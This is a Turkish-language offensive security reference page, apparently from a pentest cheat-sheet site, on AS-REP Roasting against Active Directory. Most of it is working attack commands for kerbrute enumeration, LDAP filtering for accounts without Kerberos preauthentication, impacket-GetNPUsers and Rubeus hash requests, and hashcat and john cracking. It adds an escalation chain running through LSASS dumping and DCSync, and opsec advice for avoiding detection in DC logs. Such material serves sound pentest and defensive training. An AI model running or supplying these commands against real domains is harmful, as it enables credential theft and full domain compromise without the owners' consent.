AS-REP Roasting

MITRE ATT&CK · T1558.004 verified · 2026-07 difficulty: easy

AS-REP Roasting, “Do not require Kerberos preauthentication” seçeneği açık olan kullanıcı hesaplarını hedefler (userAccountControl bit DONT_REQ_PREAUTH = 0x400000). Bu hesaplar için KDC, istemcinin kimliğini kanıtlamasını beklemeden kullanıcının uzun vadeli anahtarıyla şifrelenmiş bir AS-REP döndürür; şifreli kısım offline kırılabilir.

Parola zayıfsa hash kırılır ve hesap kimliği ele geçirilir. Kimliksiz yapılabilir (kullanıcı listesi yeterli) — bu yüzden erken oyun için değerlidir.

Nasıl çalışır (kısa)

Normal:  AS-REQ + preauth (timestamp kullanıcı anahtarıyla) → AS-REP (TGT)
AS-REP Roast: AS-REQ (preauth yok) → KDC doğrudan şifreli AS-REP döner
              → saldırgan ciphertext'i hashcat -m 18200 ile kırar

Ön koşullar

• Geçerli kullanıcı adları (kerbrute / LDAP / OSINT).
• Hedef hesaplarda preauth kapalı veya kimlikli LDAP ile bu hesapları filtreleyip sadece onlara istek atma.
• DC’ye UDP/TCP 88 erişimi.
• Kırma için wordlist / kurallar (hashcat/john).

BloodHound: AS-REP Roastable Users / DontReqPreauth özelliği.

Komut üreteci

⚡

AS-REP Roast · GetNPUsers

embedded tool

DomainUserlist pathDC IP

Generated commandcopy

impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 -format hashcat -no-pass -outputfile asrep.hashes

AS-REP Roast · GetNPUsers

Metodoloji

1. Kullanıcıları keşfet — kerbrute, RID cycle, null session, OSINT:

   kerbrute userenum -d domain.local --dc 10.10.10.5 users.txt

2. Preauth kapalı hesapları bul (kimlikli, tercih) — gereksiz AS-REQ gürültüsünü azaltır:

   ldapsearch -x -H ldap://10.10.10.5 -D 'user@domain.local' -w 'Pass123' \
     -b 'DC=domain,DC=local' \
     '(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
     sAMAccountName

   Get-DomainUser -PreauthNotRequired | select samaccountname

   nxc ldap 10.10.10.5 -u user -p 'Pass123' --asreproast asrep.txt

3. AS-REP iste — kimliksiz liste veya kimlikli tek kullanıcı:

   impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 \
     -format hashcat -no-pass -outputfile asrep.hashes

   impacket-GetNPUsers domain.local/user:'Pass123' -dc-ip 10.10.10.5 \
     -request -format hashcat -outputfile asrep.hashes

   Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes

4. Offline kır :

   hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt

   hashcat -m 18200 asrep.hashes rockyou.txt -r /usr/share/hashcat/rules/best64.rule

   john --format=krb5asrep asrep.hashes --wordlist=rockyou.txt

5. Kimlik bilgilerini kullan — PtH gerekmez; parola ile SMB/LDAP/WinRM, ardından BloodHound yolu.

Hash formatı

$krb5asrep$23$user@DOMAIN.LOCAL:ciphertext...

23 = RC4-HMAC (etype 23). AES etype’lı AS-REP nadiren roast senaryosunda görülür; hashcat modu etype’a göre değişir — klasik roast RC4’tür.

Saldırı zinciri örnekleri

AS-REP roast svc_legacy → kırılan parola
  → AdminTo on FILE01 (BloodHound)
  → LSASS dump → DA session
  → DCSync

veya: AS-REP user ∈ group with GenericWrite on CA template → ESC1

Opsec (ofansif)

• Kimliksiz büyük userlist ile GetNPUsers, DC’de çok sayıda Kerberos log üretir; önce LDAP ile adayları daralt.
• Kırma tamamen offline — hedefe ek gürültü yok.
• Başarılı logon sonrası spray yapma; eldeki parolayı lateral için kullan.
• Servis hesaplarında preauth kapalı + zayıf parola sık görülür; önce onları hedefle.

Yaygın tuzaklar

• -no-pass unutulursa araç parola sorar / fail.
• Domain FQDN yanlış ( domain vs domain.local ) → principal hataları.
• Clock skew AS-REP alımını bozabilir.
• Kırılan hash yok = preauth kapalı hesap yok veya parolalar güçlü; Kerberoast ve spray’e geç.
• GetNPUsers domain.local/ sonunda / şart (impacket syntax).

Sonraki adımlar

Kerberoasting · Enumeration · Pass-the-Hash (kırıldıktan sonra parola yerine hash de kullanılabilir)